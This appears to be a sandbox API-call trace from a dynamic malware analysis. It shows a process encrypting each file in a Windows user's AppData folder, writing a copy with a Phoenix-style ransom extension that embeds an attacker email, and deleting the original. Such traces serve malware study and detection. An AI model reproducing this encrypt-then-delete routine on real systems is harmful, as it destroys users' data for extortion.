	[0266.501] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.504] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=453) returned 1
	[0266.504] CloseHandle (hObject=0x240) returned 1
	[0266.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat")) returned 0x20
	[0266.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.505] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.505] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.505] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.505] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.505] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0266.505] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.505] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1c5, lpOverlapped=0x0) returned 1
	[0266.506] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.506] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.507] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0266.507] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.507] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.507] CryptDestroyKey (hKey=0x151200) returned 1
	[0266.507] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.508] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0266.508] CloseHandle (hObject=0x240) returned 1
	[0266.508] CloseHandle (hObject=0x2b0) returned 1
	[0266.508] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJ3T6.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat")) returned 1
	[0266.509] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.509] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.509] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=457) returned 1
	[0266.510] CloseHandle (hObject=0x2b0) returned 1
	[0266.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat")) returned 0x20
	[0266.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.510] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.510] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.510] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.510] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.510] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0266.510] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.511] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1c9, lpOverlapped=0x0) returned 1
	[0266.511] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.511] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.512] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0266.512] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.512] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.512] CryptDestroyKey (hKey=0x151340) returned 1
	[0266.512] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.513] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.513] CloseHandle (hObject=0x2b0) returned 1
	[0266.513] CloseHandle (hObject=0x240) returned 1
	[0266.513] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat")) returned 1
	[0266.514] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.514] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.515] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=451) returned 1
	[0266.515] CloseHandle (hObject=0x240) returned 1
	[0266.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat")) returned 0x20
	[0266.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.515] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.515] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.515] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.515] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.516] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0266.516] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.516] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1c3, lpOverlapped=0x0) returned 1
	[0266.517] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.517] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.518] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0266.518] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.518] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.518] CryptDestroyKey (hKey=0x151180) returned 1
	[0266.518] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.519] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0266.519] CloseHandle (hObject=0x240) returned 1
	[0266.521] CloseHandle (hObject=0x2b0) returned 1
	[0266.521] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat")) returned 1
	[0266.522] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.522] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.523] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=458) returned 1
	[0266.523] CloseHandle (hObject=0x2b0) returned 1
	[0266.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat")) returned 0x20
	[0266.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.523] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.523] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.523] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.523] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.524] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0266.524] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.524] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1ca, lpOverlapped=0x0) returned 1
	[0266.525] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.525] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.526] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0266.526] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.526] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.526] CryptDestroyKey (hKey=0x151600) returned 1
	[0266.526] WriteFile (in: hFile=0x240, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.529] CryptDestroyKey (hKey=0x151200) returned 1
	[0266.529] CloseHandle (hObject=0x2b0) returned 1
	[0266.529] CloseHandle (hObject=0x240) returned 1
	[0266.529] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat")) returned 1
	[0266.530] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.530] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.531] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=456) returned 1
	[0266.531] CloseHandle (hObject=0x240) returned 1
	[0266.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat")) returned 0x20
	[0266.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.531] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0266.531] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.532] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0266.532] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.532] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0266.532] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.532] ReadFile (in: hFile=0x240, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1c8, lpOverlapped=0x0) returned 1
	[0266.533] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1d0) returned 1
	[0266.533] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1d0, lpOverlapped=0x0) returned 1
	[0266.535] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0266.535] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0266.535] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0266.535] CryptDestroyKey (hKey=0x151040) returned 1
	[0266.535] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0266.536] CryptDestroyKey (hKey=0x151400) returned 1
	[0266.536] CloseHandle (hObject=0x240) returned 1
	[0266.536] CloseHandle (hObject=0x2b0) returned 1
	[0266.536] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat")) returned 1
	[0266.537] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0266.537] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0266.612] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=6573) returned 1
	[0266.612] CloseHandle (hObject=0x244) returned 1
	[0266.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak")) returned 0x20
